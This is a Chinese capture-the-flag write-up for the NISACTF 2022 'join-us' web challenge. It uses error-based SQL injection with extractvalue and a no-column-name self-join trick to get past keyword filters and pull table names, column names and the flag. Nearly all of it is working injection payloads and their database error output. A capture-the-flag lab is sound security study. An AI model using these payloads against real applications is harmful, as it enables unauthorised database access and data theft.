[NISACTF 2022]join-us - 报错注入&无列名注入

点击登录,找到注入点

这种框,可以直接爆破关键字,看是否拦截,也可以手动尝试,发现=、union、and、or、substr、database等关键字都拦截了

1、学到了:可以用数据库中不存在的表名或者不存在的自定义函数名爆出数据库名,1'-a()# 或 1' || (select * from aa)#

  FUNCTION sqlsql.a does not exist

2、直接甩一个报错注入上去,extractvalue(0,concat(0x7e,1,0x7e));#

  没拦截,说明可以试一下

3、1' || extractvalue(0,concat(0x7e,1,0x7e));#

  XPATH syntax error: '~ 1 ~',说明报错成功了

4、1' || extractvalue(0,concat(0x7e,mid((select group_concat(table_name) from information_schema.tables where table_schema like 'sqlsql'),1,30),0x7e));#

  XPATH syntax error: '~ Fal_flag,output ~'

5、1' || extractvalue(0,concat(0x7e,mid((select group_concat(column_name) from Fal_flag),1,100),0x7e));#

  不要耍小心思喔~ ------ column被waf,无列名注入

  1' || extractvalue(0,concat(0x7e,mid((select * from (select * from Fal_flag as a join Fal_flag as b)as c),1,100),0x7e));#

  不要耍小心思喔~ ------ as被waf,去掉as

  1' || extractvalue(0,concat(0x7e,mid((select * from (select * from Fal_flag a join Fal_flag b) c),1,100),0x7e));#

  Duplicate column name 'id'

  1' || extractvalue(0,concat(0x7e,mid((select * from (select * from Fal_flag a join Fal_flag b using(id)) c),1,100),0x7e));#

  Duplicate column name 'data'

  1' || extractvalue(0,concat(0x7e,mid((select * from (select * from Fal_flag a join Fal_flag b using(id,data)) c),1,100),0x7e));#

  Duplicate column name 'i_tell_u_this_is_Fal(se)_flag_is_in_another' ------ flag在另一个表(output)

6、1' || extractvalue(0,concat(0x7e,mid((select * from (select * from output a join output b) c),1,100),0x7e));#

  Duplicate column name 'data'

  1' || extractvalue(0,concat(0x7e,mid((select * from (select * from output a join output b using(data)) c),1,100),0x7e));#

  XPATH syntax error: '~ NSSCTF{77a4667a-b16e-46a6-87...'

  1' || extractvalue(0,concat(0x7e,mid((select * from (select * from output a join output b using(data)) c),20,100),0x7e));#

  XPATH syntax error: '~ e-46a6-87fc-f981f48eeb5c} ~'

相关推荐
hengdonghui4 小时前
Writeup 4 津门杯 2021 Web hate_php
php·web·ctf·通配符
花青泽5 小时前
子域名基础01_地址与域名基础
web安全
加油yx5 小时前
数据库基础
数据库
天桥下的卖艺者5 小时前
chrals.CTI函数升级版发布,增加了CTI衍生的脂肪指数提取
数据库·r语言
帷幕落秋5 小时前
Mysql多实例——一个服务器多个mysql服务
运维·数据库
帷幕落秋5 小时前
Mysql备份
运维·数据库
ShineWinsu5 小时前
对于Redis:ZSet类型的解析
数据库·c++·redis·缓存·面试·有序集合·zset
Dxy12393102165 小时前
MySQL 条件注释 vs 普通注释
数据库·mysql
做运维的阿瑞5 小时前
自连接、交叉连接与复杂 JOIN:一条问题链讲透
前端·数据库·mysql
花青泽6 小时前
子域名基础02_DNS解析流程_简单版
web安全